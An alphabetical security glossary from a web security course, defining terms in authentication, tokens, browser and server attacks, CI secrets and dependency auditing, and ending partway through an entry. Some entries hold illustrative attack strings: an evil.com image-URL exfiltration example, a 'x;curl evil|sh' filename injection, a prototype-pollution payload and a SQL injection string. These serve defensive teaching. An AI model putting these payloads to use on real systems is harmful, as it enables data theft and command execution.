Track 10 · Lesson 4 of 4Capstone

Track 10 · Capstone

Glossary

Lesson 4 of 4· 5 min

Every term from the security tracks in one searchable place. Each entry has a plain definition, many say what the term means in a real project, and all of them link to the track that teaches it.

Glossary

Search by name or by words in the definition

181 terms

#

--password-stdin
Secrets and the deploy pipeline
docker login -p <password> puts the password on the command line, where it appears in ps output and shell history for anyone on the machine. --password-stdin reads it from standard input instead.
Shipping safely →
'unsafe-inline'
Attacks
A CSP keyword that allows inline scripts, which removes much of CSP's protection against injected scripts.
In practice: Common in real configs because frameworks inject inline scripts. Know that it weakens the policy.
Identity and login →
$GITHUB_ENV injection and heredoc delimiters
Secrets and the deploy pipeline
Writing to the $GITHUB_ENV file sets environment variables for later steps. Multi-line values use a delimiter (NAME<<__EOF__ … __EOF__). If an attacker controls the value and the delimiter is fixed, they can end the block early and define their own variables, like NODE_OPTIONS or PATH, which leads to code execution.
Shipping safely →
2FA / OTP
Basics
Two-factor authentication: after the password, a one-time password (OTP) code proves a second factor.
In practice: The first login step should return 'code required' and no tokens. Tokens come only after the code.
Identity and login →
2FA and one-time passwords (OTP)
Identity and login
Two-factor authentication asks for something you know (password) plus something you have (a code sent by email or an app). The code is short-lived and should only work for the login attempt that already passed the password step.
Identity and login →
400 Bad Request
HTTP
The server refuses the request as invalid.
In practice: OAuth servers use it with invalid_grant for dead refresh tokens.
Identity and login →
401 Unauthorized
HTTP
Despite the name: 'I don't know who you are' or 'your credentials are invalid'.
In practice: From an API it should trigger one refresh-and-retry. From the refresh endpoint it means the session is dead.
Identity and login →
403 Forbidden
HTTP
'I know who you are, and the answer is no.'
In practice: Don't refresh on 403. A new token won't change the answer.
Identity and login →
429 Too Many Requests
HTTP
Rate limit hit. Try again later.
In practice: Transient. Handle it before any generic 'all 4xx means logout' rule.
Identity and login →
5xx / 502 Bad Gateway
HTTP
Server-side errors. 502 means a proxy couldn't get a good answer from the server behind it.
In practice: Transient. Keep the session.
Identity and login →

A

Access token
Tokens
A short-lived token that proves you're logged in on each API call. If stolen, it only works until it expires.
In practice: Typically 5 to 60 minutes. Best kept in memory, not in localStorage.
Identity and login →
Account enumeration
Attacks
Learning whether an account exists from differences in responses.
In practice: Return the same message and timing for 'no such user' and 'wrong password' on login, reset and resend.
Identity and login →
Account lockout
Attacks
Temporarily blocking an account after repeated failed logins.
In practice: Works no matter how many IPs the attacker uses. Prefer short, escalating delays to permanent locks.
Identity and login →
AES-256-GCM
Crypto
Symmetric encryption with built-in tamper detection (authenticated encryption). Change one bit and decryption fails.
In practice: The usual choice for sealing cookie contents.
Identity and login →
Analytics and error tracking (PostHog, Sentry)
Telemetry and quiet leaks
PostHog records product events and session replays; Sentry records errors. Both receive data from our app and keep it on their servers, so whatever we send them becomes data at a third party.
Shipping safely →
API key
Alternatives
A long-lived static secret for machine-to-machine access.
In practice: Not for people in browsers: it can't expire quickly or be scoped to a session.
Identity and login →
Attack surface
Secrets and the deploy pipeline
Everything an attacker can touch: endpoints, files, credentials, deploy paths. Unused files and old keys add risk with no benefit. Removing them shrinks the surface.
Shipping safely →
Auth tag
Crypto
A 16-byte checksum produced by AES-GCM. Decryption checks it and fails if anything changed.
In practice: Stored alongside the ciphertext in the cookie value.
Identity and login →
Authentication (AuthN)
Basics
Proving who you are: a password, a social account, a passkey, a one-time code.
In practice: Keep every sign-in method ending in one shared function that issues the session or tokens.
Identity and login →
Authentication vs authorization
Identity and login
Authentication answers 'who are you?' (password, Google sign-in, 2FA). Authorization answers 'what are you allowed to do?' (is this your brand, are you an admin). Many serious bugs are authorization bugs on correctly authenticated users.
Identity and login →
Authorization (AuthZ)
Basics
Deciding what a known user is allowed to do.
In practice: Enforce it on the server for every request. UI checks are convenience only.
Identity and login →

B

base64url
Crypto
A way to write bytes as text using only URL-safe characters (- and _ instead of + and /, no = padding).
In practice: Used for each JWT part and for most sealed cookie values.
Identity and login →
Bearer token
Tokens
Whoever holds it can use it, like cash. Sent as the header Authorization: Bearer <token>.
In practice: Attach it in one place (an interceptor or fetch wrapper), and never to URLs on other hosts.
Identity and login →
BFF (Backend-for-Frontend)
Patterns
A small server owned by the frontend team that sits between the browser and the real backend.
In practice: Next.js route handlers, a Nuxt/SvelteKit server, or a small Express or .NET service.
Identity and login →
Bootstrap (silent login)
Patterns
On page load, exchange the session cookie for a fresh access token without asking the user anything.
In practice: Needed whenever the access token lives only in memory.
Identity and login →
BroadcastChannel
Browser
A browser API for sending messages between tabs of the same site.
In practice: Share new tokens and logout events between tabs. The storage event is an older alternative.
Identity and login →
Brute force
Attacks
Trying many passwords until one works.
In practice: Combine account lockout or backoff, rate limiting and a bot check.
Identity and login →
Brute force and lockout
Identity and login
Trying every possible value until one works. A 5-digit code has 100,000 options; a 6-digit code 1,000,000. Defences: lockout after a few failures, rate limits, longer codes and short expiry.
Identity and login →

C

CAPTCHA / bot check
Attacks
A challenge that tells people from scripts (reCAPTCHA, hCaptcha, Turnstile).
In practice: Useful on login, signup and reset. Verify its token on the server.
Identity and login →
CDN and reverse proxy (e.g. Cloudflare, nginx)
How the web is wired
Servers that sit in front of the app. Cloudflare (the CDN) receives traffic from the internet, filters and caches it, then forwards it. nginx (the reverse proxy) runs on our host and forwards to the Next.js container. Each hop can add headers saying who the real client was.
Attacks and defenses →
Challenge ID (binding steps together)
Identity and login
An unguessable, single-use ID the server creates only after the first step succeeds, and requires on every later step. It ties step two to step one so nobody can start at step two.
Identity and login →
Claim
Tokens
One key/value fact inside a JWT payload, like sub, email, role or exp.
In practice: Standard ones: iss (issuer), sub (subject), aud (audience), exp, nbf, iat.
Identity and login →
Clickjacking
Attacks that run in the browser
Loading your page invisibly inside an iframe on another site and tricking the user into clicking buttons on it (delete, approve, transfer). Stopped by frame-ancestors in CSP or X-Frame-Options.
Attacks and defenses →
Client data cache
Patterns
In-memory stores of server data such as TanStack Query, SWR, Apollo or Redux.
In practice: Clear them on login and logout so one user never sees another's data.
Identity and login →
Clock skew
Tokens
The difference between two machines' clocks.
In practice: Refresh a little early on the client and allow a few seconds of tolerance on the server.
Identity and login →
Closure
Browser
A JavaScript scope that keeps variables private to the code that defines them.
In practice: A module-level variable with no export and nothing on window is a simple in-memory token store.
Identity and login →
Content Security Policy (CSP)
Attacks that run in the browser
A response header listing where the page may load scripts, images and connections from. It is the main containment for XSS. Directives: script-src (code), connect-src (fetch/WebSocket targets), img-src (images), frame-src (iframes).
Attacks and defenses →
Content-Type and error-body relay
Attacks on the server
Content-Type tells the browser how to interpret a body. If our server passes a backend's response through with the backend's own Content-Type, an HTML error page becomes a live HTML page on our origin.
Attacks and defenses →
CORS
HTTP
Cross-Origin Resource Sharing: headers that let a page from one origin read responses from another.
In practice: CORS controls reading responses, not sending requests. It is not a CSRF defense.
Identity and login →
CORS (cross-origin resource sharing)
Attacks that run in the browser
The mechanism that lets a server relax the same-origin policy for chosen origins, via headers like Access-Control-Allow-Origin. Misconfigured, it lets any website read your API's responses using your users' cookies.
Attacks and defenses →
Credential
Basics
Anything that proves identity: a password, token, cookie or passkey.
In practice: Rank your credentials by how long they last. Guard the longest-lived one hardest.
Identity and login →
CRLF injection and request smuggling
Attacks on the server
HTTP separates header lines with carriage return + line feed (\r\n). If a library lets those characters into a header value, an attacker can inject extra headers or even a second hidden request.
Attacks and defenses →
CSP (Content-Security-Policy)
Attacks
A response header listing which sources of scripts, styles and other resources the page may load.
In practice: A strict, nonce-based script-src is a strong second wall against XSS.
Identity and login →
CSP nonce
Attacks
A random value issued per response; only scripts carrying it may run.
In practice: Requires per-request rendering, which can cost caching or static generation.
Identity and login →
CSP sandbox and SVG
Attacks that run in the browser
SVG is an image format that can contain script. Served from our origin, an SVG can behave like an HTML page. Content-Security-Policy: sandbox on a response makes the browser treat it as an isolated, script-less document.
Attacks and defenses →
CSRF (cross-site request forgery)
Attacks
A malicious site makes your browser send a request to another site, with your cookies attached.
In practice: Defend with SameSite, an Origin check, and CSRF tokens where cookies authenticate state-changing requests.
Identity and login →
CVE, GHSA and security advisories
Dependencies and advisories
When a vulnerability is found in a package it gets a public advisory. CVE IDs are the global catalogue; GHSA IDs (like GHSA-2464-fhr4-w9xw) are GitHub's advisory database, which pnpm audit reads. Each lists affected versions, the fixed version and a severity.
Shipping safely →

D

Data exfiltration through image URLs
Attacks that run in the browser
If a page renders any image URL, data can be smuggled out inside the URL itself: <img src=https://evil.com/x?d=SECRET>. The browser fetches it automatically, with no click.
Attacks and defenses →
Dead authorization code
Identity and login
A function that looks like a security check but does nothing useful. It is a trap: a future developer may call it and assume they are protected.
Identity and login →
Decoding vs verifying
Tokens
Decoding means reading the payload, which anyone can do. Verifying means checking the signature, which needs the key.
In practice: Browsers may decode a token to read its expiry. Only servers should trust its contents, after verifying.
Identity and login →
Defence in depth
How the web is wired
Layering several independent protections so one failure does not mean a breach. A CSP that stops stolen tokens leaving, a server check behind a browser check, a firewall behind a proxy.
Attacks and defenses →
Denial of service (DoS)
Attacks on the server
Making a service slow or unavailable by sending requests that are expensive for us and cheap for the attacker, or that crash a process.
Attacks and defenses →
Dependabot
Secrets and the deploy pipeline
A GitHub bot that opens pull requests to update dependencies and pinned actions, and alerts on known advisories. It keeps pins from going stale.
Shipping safely →
Docker image layers, build args and ENV
Secrets and the deploy pipeline
A Docker image is a stack of layers plus metadata. Values passed as ARG or ENV during the build are recorded in the image config and visible to anyone with the image via docker history or docker inspect, even if never used by the app.
Shipping safely →
docker run -e vs --env-file vs Docker secrets
Secrets and the deploy pipeline
docker run -e SECRET=… exposes values in ps and docker inspect. An --env-file owned by root with mode 600 keeps them off the command line, and Docker secrets mount them as files only the container can read.
Shipping safely →
DPoP (sender-constrained tokens)
Alternatives
Binds a token to a key held by the client, so a copied token is useless elsewhere.
In practice: Defined in RFC 9449. The next step when token replay is a real concern.
Identity and login →

E

Environment variable
Patterns
Configuration supplied to a program from outside its code.
In practice: Where cookie keys, signing keys and client secrets belong, never in the repo.
Identity and login →
exp (expiry claim)
Tokens
When the token stops being valid, as seconds since 1 January 1970.
In practice: JavaScript's Date.now() is in milliseconds, so multiply exp by 1000 before comparing.
Identity and login →

F

Fail closed
Basics
When unsure, deny.
In practice: If login returns an unexpected shape, issue no session rather than a half-working one.
Identity and login →
Fail open
Basics
When unsure, allow.
In practice: Use only where denying hurts more and nothing security-relevant depends on it.
Identity and login →
Firewall (ufw) and the Docker bypass
How the web is wired
ufw is Ubuntu's simple firewall. A well-known trap: Docker writes its own iptables rules for published ports, and those rules run before ufw's, so a port blocked in ufw can still be wide open.
Attacks and defenses →
Forwarded client IP
HTTP
Headers like X-Forwarded-For or CF-Connecting-IP that carry the visitor's real IP through proxies.
In practice: Trust them only from your own proxy, or every user can fake their IP and every limit breaks.
Identity and login →

G

Git history and filter-repo
Secrets and the deploy pipeline
Deleting a secret in a new commit does not remove it: every old commit, tag and branch still contains it, and every clone has a copy. git filter-repo rewrites history to strip it, but that changes every commit hash and forces everyone to re-clone.
Shipping safely →
GitHub Actions secrets and workflows
Secrets and the deploy pipeline
Workflows are YAML files in .github/workflows that run on events (push, pull_request, manual). Repository secrets are available to any workflow in the repo. Whoever can change a workflow file on a branch can make it print those secrets.
Shipping safely →
GitHub Environments and required reviewers
Secrets and the deploy pipeline
An Environment (e.g. 'production') holds its own secrets and protection rules: only certain branches (main) may use it, and a named reviewer must approve each run before secrets are released.
Shipping safely →
Grace window
Tokens
A short period where a just-rotated refresh token is still accepted.
In practice: Helps multi-tab apps. Trade-off: reuse of an old token stops being a reliable theft alarm.
Identity and login →

H

history.replaceState
Telemetry and quiet leaks
A browser API that changes the URL in the address bar without reloading and without adding a history entry. Used to remove a token from the URL right after reading it.
Shipping safely →
Host-only cookie
Browser
A cookie with no Domain attribute, sent only to the exact host that set it, not to subdomains.
In practice: Omit Domain unless you really need subdomain sharing. The __Host- name prefix enforces this.
Identity and login →
HTTP headers
How the web is wired
Key-value lines attached to a request or response, like Content-Type, Authorization, Cookie, Location or X-Forwarded-For. Some are set by the browser, some by proxies, and some can be typed freely by anyone sending a request with a tool like curl.
Attacks and defenses →
HTTP request and response
How the web is wired
Every click, page load and API call is a request from a client (the browser) to a server, which sends back a response. A request has a method (GET reads, POST changes), a path, headers and sometimes a body. A response has a status code (200 OK, 302 redirect, 404, 502), headers and a body.
Attacks and defenses →
HttpOnly
Browser
A cookie flag that hides the cookie from JavaScript: document.cookie can't see it.
In practice: The main reason an XSS bug can't steal a session cookie.
Identity and login →
HTTPS, TLS and HSTS
How the web is wired
TLS encrypts traffic between browser and server and proves the server's identity with a certificate; HTTPS is HTTP over TLS. HSTS is a header telling browsers to always use HTTPS for your domain, so nobody can downgrade them to plain HTTP.
Attacks and defenses →

I

ID token
Alternatives
A JWT from an identity provider that says who signed in.
In practice: For your app to learn who the user is. Use access tokens, not ID tokens, to call APIs.
Identity and login →
Identity provider (IdP)
Alternatives
A service that owns user accounts and login: Auth0, Clerk, Cognito, Keycloak, Entra ID, Firebase Auth, Supabase Auth.
In practice: You trade building and maintaining login for a vendor dependency and migration effort.
Identity and login →
Image optimization endpoints (e.g. /_next/image, sharp, libvips)
Attacks on the server
Many frameworks expose a public endpoint that fetches a remote image and resizes it on your server (Next.js: /_next/image?url=…). They use native libraries such as sharp, which wraps libvips (plus libheif and librsvg). Bugs in these C libraries can mean crashes or code execution.
Attacks and defenses →
In-memory token store
Patterns
A private variable holding the access token, reachable only through a few functions.
In practice: Stops passive scraping and accidental logging. It is friction, not a wall: an attacker's running script can call the same functions.
Identity and login →
Interceptor
Patterns
A hook that runs before every request or after every response in an HTTP client.
In practice: Axios interceptors, ofetch hooks, Angular HttpInterceptor, or a custom fetch wrapper.
Identity and login →
invalid_grant
HTTP
The OAuth 2.0 error code for a refresh token that is expired, revoked or reused. Sent with status 400.
In practice: Many auth servers return 400 rather than 401 for a dead refresh token. Handle both.
Identity and login →

J

JWKS
Alternatives
A JSON Web Key Set: the public keys an issuer publishes so others can verify its tokens.
In practice: Your API fetches and caches it to verify tokens from an identity provider.
Identity and login →
JWT (JSON Web Token)
Tokens
A token made of three base64url parts, header.payload.signature. Anyone can read the payload. Only the key holder can make a valid signature.
In practice: Fine for access tokens. Never put secrets in the payload.
Identity and login →
JWTs and token claims (iss, aud, exp)
Identity and login
A JSON Web Token is a signed bundle of claims (who the user is, who issued it, who it is for, when it expires). The receiver must verify the signature with a pinned algorithm, then check iss (issuer), aud (audience: issued for us) and exp (not expired). Google sign-in ID tokens are JWTs.
Identity and login →

K

keepalive (fetch option)
Browser
Lets a request finish even if the page navigates away.
In practice: Use it for logout so revocation still reaches the server after the redirect.
Identity and login →
Key rotation
Crypto
Replacing a key while still accepting values made with the previous one for a while.
In practice: Prefix sealed values with a key id so a rotation doesn't sign everyone out.
Identity and login →

L

Layer 1 (proactive refresh)
Patterns
Refresh before sending a request if the token has 60 seconds or less left.
In practice: Lives in the request interceptor. Keeps almost every request from seeing a 401.
Identity and login →
Layer 2 (reactive refresh)
Patterns
If a 401 slips through, refresh once and retry the original request once.
In practice: Lives in the response interceptor. Only a dead session should log the user out.
Identity and login →
localStorage
Browser
Per-site key/value storage that survives restarts and that any script on the page can read.
In practice: Fine for preferences and non-secret hints. Not for tokens.
Identity and login →
localStorage and sessionStorage
How the web is wired
Key-value storage in the browser, readable by any script on the origin. sessionStorage is wiped when the tab closes. localStorage stays until something deletes it, even across logins and restarts.
Attacks and defenses →
Lockfile (pnpm-lock.yaml)
Dependencies and advisories
package.json says which versions are acceptable (often a range). The lockfile records the exact version of every package, direct and indirect, actually installed, so every machine and CI build gets the same bytes.
Shipping safely →
Login CSRF
Attacks
Tricking a victim into being logged in as the attacker, so the victim's uploads land in the attacker's account.
In practice: Protect the login form too, and don't let link-based logins silently replace an existing session.
Identity and login →
Logout cleanup
Identity and login
Logging out should remove every credential and user-specific trace from the device, not just the main session. Device preferences like theme can stay.
Identity and login →

M

Max-Age
Browser
Seconds until the cookie expires. 0 deletes it.
In practice: Match it to the session's real lifetime.
Identity and login →

N

Nonce (crypto)
Crypto
A 'number used once'. AES-GCM needs a fresh one for every encryption with the same key.
In practice: Generate 12 random bytes per seal. Never use a counter that resets.
Identity and login →
Nonces, 'unsafe-inline' and 'unsafe-eval'
Attacks that run in the browser
'unsafe-inline' lets any inline run, which is exactly what XSS injects. 'unsafe-eval' allows eval(). A nonce is a random value generated per response: only scripts carrying that nonce run, so injected scripts fail.
Attacks and defenses →

O

OAuth 2.0
Alternatives
A standard for letting one app act on your behalf at another service, without sharing your password.
In practice: Used for 'connect your Google Drive' as well as, with OIDC, for login.
Identity and login →
OAuth 2.0 (connect with Facebook, Google…)
Identity and login
A protocol that lets a user grant our app access to their account on another service without giving us their password. The user approves on the provider's site, the provider redirects back to our callback page with a one-time code, and our backend swaps that code for an access token.
Identity and login →
OAuth state parameter
Identity and login
A random value we generate when starting an OAuth flow, store locally, and send to the provider. The provider returns it unchanged. If the returned state does not match what we stored, the callback was not started by this user and must be refused.
Identity and login →
Open redirect
Attacks
A link on a trusted site that forwards anywhere an attacker chooses, useful for phishing.
In practice: Allow only relative paths in ?next= style parameters, or store the return path server-side.
Identity and login →
Open relay / open proxy
Attacks on the server
An endpoint that fetches anything for anyone and streams it back. Attackers use it to hide their origin, launder requests, or burn our bandwidth with large files.
Attacks and defenses →
OpenID Connect (OIDC)
Alternatives
An identity layer on top of OAuth 2.0 that standardises login and adds ID tokens.
In practice: What 'Sign in with Google/Microsoft/Okta' speaks.
Identity and login →
Origin
How the web is wired
The scheme + host + port of a page, for example https://app.example.com. Browsers keep data from different origins apart. Two words to separate: the browser 'origin' (this meaning) and the 'origin server' (the machine behind the CDN).
Attacks and defenses →
Origin header
HTTP
A header the browser adds to say which site started the request.
In practice: Reject state-changing requests whose Origin isn't yours, as a CSRF backup.
Identity and login →
Origin server and direct-to-origin access
How the web is wired
The real machine hosting the app, behind the CDN. If its IP is reachable directly, attackers bypass every protection the CDN provides: bot filtering, IP rules and the trustworthy client-IP header.
Attacks and defenses →
OWASP Top 10
How the web is wired
A widely used list of the ten most common and serious web application risk categories, maintained by the Open Web Application Security Project: broken access control, cryptographic failures, injection, insecure design, misconfiguration, vulnerable components, authentication failures, integrity failures, logging failures and SSRF.
Attacks and defenses →

P

Passkey (WebAuthn)
Alternatives
A private key kept on your device replaces the password. The site stores only the public key. Phishing-resistant.
In practice: Supported by all major browsers and platforms; most IdPs offer it.
Identity and login →
Password hashing (bcrypt, scrypt, Argon2)
Identity and login
Servers should never store passwords, only a slow, salted hash. Slow algorithms like Argon2id, bcrypt and scrypt make each guess expensive, so a stolen database cannot be cracked quickly. Fast hashes like MD5 or SHA-256 are the wrong tool.
Identity and login →
permissions: and least privilege
Secrets and the deploy pipeline
Each workflow gets a GITHUB_TOKEN. Without a permissions: block it may have broad write access. Least privilege means granting only what the job needs, typically contents: read.
Shipping safely →
PKCE
Alternatives
Proof Key for Code Exchange: protects the OAuth authorization-code flow from code interception in browsers and mobile apps.
In practice: Required for public clients like SPAs and mobile apps.
Identity and login →
pnpm audit --prod
Dependencies and advisories
Compares the lockfile against the advisory database and lists every known vulnerable package. --prod skips devDependencies (test and build tools that never ship). The plan's rule: rerun until no high remains.
Shipping safely →
pnpm overrides
Dependencies and advisories
A setting in package.json (pnpm.overrides) that forces a transitive dependency to a version you choose, everywhere in the tree, without waiting for the parent package to update.
Shipping safely →
Popup and window.opener
Identity and login
When a page opens a popup, the popup can see window.opener, a reference to the page that opened it. A callback page reached by a pasted link has no opener, which is a cheap signal that the flow was not started from our app.
Identity and login →
Port binding: 0.0.0.0 vs 127.0.0.1
How the web is wired
A server listens on an address and port. 127.0.0.1 (localhost) means 'only this machine can connect'. 0.0.0.0 means 'every network interface', which includes the public internet.
Attacks and defenses →
Private and special IP ranges
Attacks on the server
Some address ranges should never be fetched by a server-side URL feature: private (10/8, 192.168/16), loopback, link-local 169.254/16 (cloud metadata), multicast 224.0.0.0/4, reserved 240.0.0.0/4, and IPv6 tricks that embed an IPv4 address: 6to4 2002::/16, translated ::ffff:0:a.b.c.d, and deprecated site-local fec0::/10.
Attacks and defenses →
Prompt injection
Attacks that run in the browser
Hidden instructions in content an AI reads (a web page, a scraped post, a PR description) that make it do something its user did not ask for.
Attacks and defenses →
Prototype pollution
Attacks on the server
In JavaScript, every object inherits from Object.prototype. If code merges untrusted JSON like {"__proto__":{"isAdmin":true}} carelessly, every object in the process suddenly has isAdmin = true. A 'gadget' is existing code that then behaves badly because of it.
Attacks and defenses →
Proxy
Patterns
A server that forwards requests on someone's behalf.
In practice: People often say 'auth proxy' and 'BFF' for the same thing.
Identity and login →
Public env prefix
Patterns
Prefixes such as NEXT_PUBLIC_, VITE_, REACT_APP_ or PUBLIC_ that build tools copy into the browser bundle.
In practice: Anything with these prefixes is public. Never use them for secrets.
Identity and login →

R

Race condition
Basics
A bug where the result depends on the timing of things happening at once.
In practice: Two tabs refreshing with the same rotating token is the classic auth race.
Identity and login →
Rate limiting
Attacks
Capping how many requests a client may send in a time window; extra requests get 429.
In practice: Behind a proxy, make sure the limiter sees the real client IP.
Identity and login →
RBAC (role-based access control)
Basics
Permissions are attached to roles, and users are given roles.
In practice: Roles often travel in a token claim. The server should still check them against its own data for sensitive actions.
Identity and login →
Redirect hops
Attacks on the server
fetch() follows redirects automatically: A → 302 → B → 302 → C. Checking only the first or last URL lets an attacker route through a forbidden middle hop, or downgrade from https to http.
Attacks and defenses →
Refresh token (RT)
Tokens
A long-lived secret whose only job is to get a new access token when the old one expires.
In practice: Days to months. Keep it out of reach of page JavaScript: an HttpOnly cookie or a server-side store.
Identity and login →
Registry cleanup, tags and digests
Secrets and the deploy pipeline
A container registry stores images by digest (content hash). Tags like latest or build-42 are labels pointing at a digest. Deleting by digest removes the image and every tag pointing at it, including the ones you need for rollback.
Shipping safely →
Remote code execution (RCE)
Attacks on the server
An attacker, over the network, makes the server run code of their choosing. It is usually the worst possible outcome: read secrets, change data, pivot to other systems.
Attacks and defenses →
Return path
Patterns
Where to send a user after they log in again.
In practice: Store it server-side or sealed, bind it to the user, and accept only relative paths.
Identity and login →
Revocation
Tokens
Invalidating a token on the server before it expires.
In practice: Logout should name the exact refresh token or session to revoke. Clearing the client alone revokes nothing.
Identity and login →
Roles and server-side enforcement
Identity and login
Role-based access control gives users roles (user, admin) and allows actions by role. Hiding an admin page in the browser is only cosmetic; the API behind it must check the role itself.
Identity and login →
Rotation vs revocation vs purge
Secrets and the deploy pipeline
Rotation: issue a new secret and switch the app to it. Revocation: kill the old one so it stops working. Purge: delete the old value from history. Rotation plus revocation is the real fix; once the old value is dead, a purge is optional tidying.
Shipping safely →
Route guard
Patterns
Client or server code that redirects signed-out users away from private pages.
In practice: Middleware, layouts, router guards. Good UX; the API must still check every request.
Identity and login →

S

Same-origin
HTTP
Two URLs with the same scheme, host and port. Browsers apply stricter rules across origins.
In practice: Putting auth routes on the frontend's own origin avoids CORS and allows SameSite=Strict.
Identity and login →
Same-origin policy and cross-site requests
Attacks that run in the browser
The browser lets any site send requests to any other site (forms, images, redirects), and attaches that site's cookies. What it blocks is reading the answer. So other sites can make your browser do things; they just cannot see the result.
Attacks and defenses →
SameSite
Browser
A cookie flag that controls whether requests started by other sites carry the cookie. Strict means never, Lax allows top-level navigations.
In practice: Lax is the browser default in most browsers; set it explicitly anyway.
Identity and login →
Sanitizing
Attacks
Removing dangerous HTML before it is rendered.
In practice: Use a maintained sanitizer (DOMPurify, rehype-sanitize, bleach) for any user HTML or markdown.
Identity and login →
Seal / open
Crypto
Common names for encrypt-and-authenticate and decrypt-and-verify.
In practice: Libraries: iron-session (Node), Rails encrypted cookies, ASP.NET Data Protection, Laravel encryption.
Identity and login →
Secrets and their blast radius
Secrets and the deploy pipeline
Any value that grants access: API keys, signing keys, SSH keys, tokens. Blast radius is how much damage one leaked secret allows. An admin API key for Cloudinary means read, overwrite or delete every customer upload.
Shipping safely →
Secrets in URLs and query strings
Telemetry and quiet leaks
Anything in a URL (?token=…) is copied into browser history, server and proxy logs, analytics, error reports and possibly the Referer header to other sites. Tokens belong in bodies or headers, or must be removed from the URL quickly.
Shipping safely →
Secure
Browser
A cookie flag: only send this cookie over HTTPS.
In practice: Turn it off only for http://localhost in development.
Identity and login →
Security headers (HSTS, frame-ancestors, nosniff)
Attacks that run in the browser
A small set of response headers that switch on browser protections: Strict-Transport-Security (HTTPS only), Content-Security-Policy including frame-ancestors (who may frame you), X-Content-Type-Options: nosniff (do not guess file types) and Referrer-Policy (what URL leaks to other sites).
Attacks and defenses →
Semantic versioning and version bumps
Dependencies and advisories
Versions read MAJOR.MINOR.PATCH (15.5.28). PATCH fixes bugs, MINOR adds features compatibly, MAJOR may break things. Security fixes usually land as patch releases, so the bump is small and safe.
Shipping safely →
Separate auth client
Patterns
A second HTTP client used only for login, refresh and logout, with no refresh logic of its own.
In practice: Prevents refresh from triggering refresh in a loop.
Identity and login →
Server route
Patterns
Server code that answers one URL, like POST /api/auth/login.
In practice: Next.js route.ts, Express routes, Rails/Django controllers and views.
Identity and login →
Server session
Patterns
The server stores session data in a database or cache and gives the browser only a random ID in a cookie.
In practice: The default in Rails, Django, Laravel, Express-session and ASP.NET cookie auth. Simple and revocable.
Identity and login →
Server-to-server call
HTTP
One server calling another directly. The browser isn't involved and can't see it.
In practice: How a BFF keeps refresh tokens hidden from the browser.
Identity and login →
Session
Basics
The period during which you stay logged in without typing your password again.
In practice: It may be a server-side record, a long-lived refresh token, or both.
Identity and login →
Session hint
Patterns
A non-secret flag in localStorage meaning 'this browser had a session, try silent login on load'.
In practice: Saves anonymous visitors a refresh call that would fail. Never use it for auth decisions.
Identity and login →
Session replay (rrweb, $snapshot, Meta href)
Telemetry and quiet leaks
Session replay records the page's DOM and changes (using rrweb) so a session can be played back like a video. Each recording starts with a Meta event holding the page's full href. If that href is not scrubbed, tokens in URLs travel to PostHog inside $snapshot events.
Shipping safely →
Session, bearer token, access and refresh token
Identity and login
After login the server hands the client a credential. A bearer token works for whoever holds it, sent as Authorization: Bearer <token>. Access tokens are short-lived; a refresh token (or a refresh endpoint) quietly gets new ones.
Identity and login →
sessionStorage
Browser
Like localStorage, but per tab and cleared when the tab closes.
In practice: Still readable by any script, so not a safe token store either. Clear it on logout.
Identity and login →
Severity: Critical, High, Medium, Low
How the web is wired
A ranking of how bad a finding is, from how easy it is to exploit and how much damage it does. Critical: an outsider can take over the system or its data. High: serious damage with some precondition. Medium: real but limited or needs effort. Low: defence in depth and hygiene.
Attacks and defenses →
Shell injection: execSync vs execFileSync
Secrets and the deploy pipeline
execSync('git diff ' + file) hands a single string to a shell, so a filename like x;curl evil|sh runs extra commands. execFileSync('git', ['diff', file]) runs git directly with arguments, and no shell ever interprets them.
Shipping safely →
SignalR and WebSockets
Identity and login
SignalR is a library for real-time messaging over WebSockets. Browsers cannot attach custom headers to a WebSocket handshake, so the token goes in the URL as ?access_token=…, which then appears in proxy logs.
Identity and login →
Signature
Crypto
A cryptographic stamp proving data was produced by the key holder and has not been changed.
In practice: Edit one character of a JWT payload and verification fails.
Identity and login →
Single-flight
Patterns
Many callers who want the same thing share one in-progress operation.
In practice: Keep one in-flight refresh promise per tab; everyone awaits it.
Identity and login →
Sliding expiration
Patterns
Each request extends the session's expiry, so active users stay signed in.
In practice: The classic-session equivalent of refresh. Pair it with an absolute maximum lifetime.
Identity and login →
SQL and command injection
Attacks on the server
When user input is pasted into a database query or shell command as text, special characters can change the command itself. ' OR 1=1 -- turns a login query into 'match everyone'. Parameterised queries send the input separately, so it can only ever be data.
Attacks and defenses →
SSG, ISR and cache poisoning
Attacks on the server
SSG (static site generation) builds pages once; ISR (incremental static regeneration) rebuilds them in the background and caches the result for everyone. Cache poisoning tricks the server into caching a response shaped by one attacker's request, then serving it to all users.
Attacks and defenses →
SSH host key checking
Secrets and the deploy pipeline
When SSH connects, the server proves its identity with a host key. StrictHostKeyChecking=no accepts any key, so whoever can intercept the connection (DNS spoofing, network position) can impersonate the server and receive whatever you send.
Shipping safely →
SSR (server-side rendering)
Patterns
Generating a page's HTML on the server for each request.
In practice: If the server must know who is signed in while rendering, the session cookie has to reach page requests.
Identity and login →
SSRF (server-side request forgery)
Attacks
Tricking a server into calling a URL the attacker chooses.
In practice: Proxies and BFFs should forward to fixed paths, never to a URL taken from the request.
Identity and login →
sub (subject claim)
Tokens
The JWT claim holding the user's stable id.
In practice: Use sub, not email, as the user key: emails change.
Identity and login →
Supply chain and pinning (tag, SHA, digest)
Secrets and the deploy pipeline
A tag like actions/checkout@v4 or node:24-alpine can be moved by its owner, or by someone who compromises them, to point at new code. Pinning by commit SHA (for actions) or by image digest (sha256:…) locks the exact bytes.
Shipping safely →
Symmetric key
Crypto
One key that both encrypts and decrypts.
In practice: 32 random bytes for AES-256. Fail loudly at startup if it's missing or the wrong length.
Identity and login →

T

Temporary debug tooling in production
Telemetry and quiet leaks
Code added to chase an incident ('TEMPORARY… remove once the outage is resolved') that never gets removed. It keeps running, often without the rate limits and review a real feature would get.
Shipping safely →
Tenant isolation and IDOR
Identity and login
In a multi-customer app, each customer (tenant) must only see their own data. IDOR (Insecure Direct Object Reference) is when an endpoint accepts an ID like brandId=123 and returns it without checking the caller owns it.
Identity and login →
Threat modeling
How the web is wired
A short, structured way of asking 'what could go wrong?' before or while building: what are we protecting, who might attack it, how, and what stops them.
Attacks and defenses →
Token
Tokens
A string the server gives you after login. You show it on later requests instead of your password.
In practice: Most token setups have two: a short-lived access token and a long-lived refresh token.
Identity and login →
Token rotation
Tokens
Each time a refresh token is used, the server issues a new one and retires the old one.
In practice: Limits how long a stolen refresh token works. Requires careful handling of parallel refreshes.
Identity and login →
Transient vs terminal error
HTTP
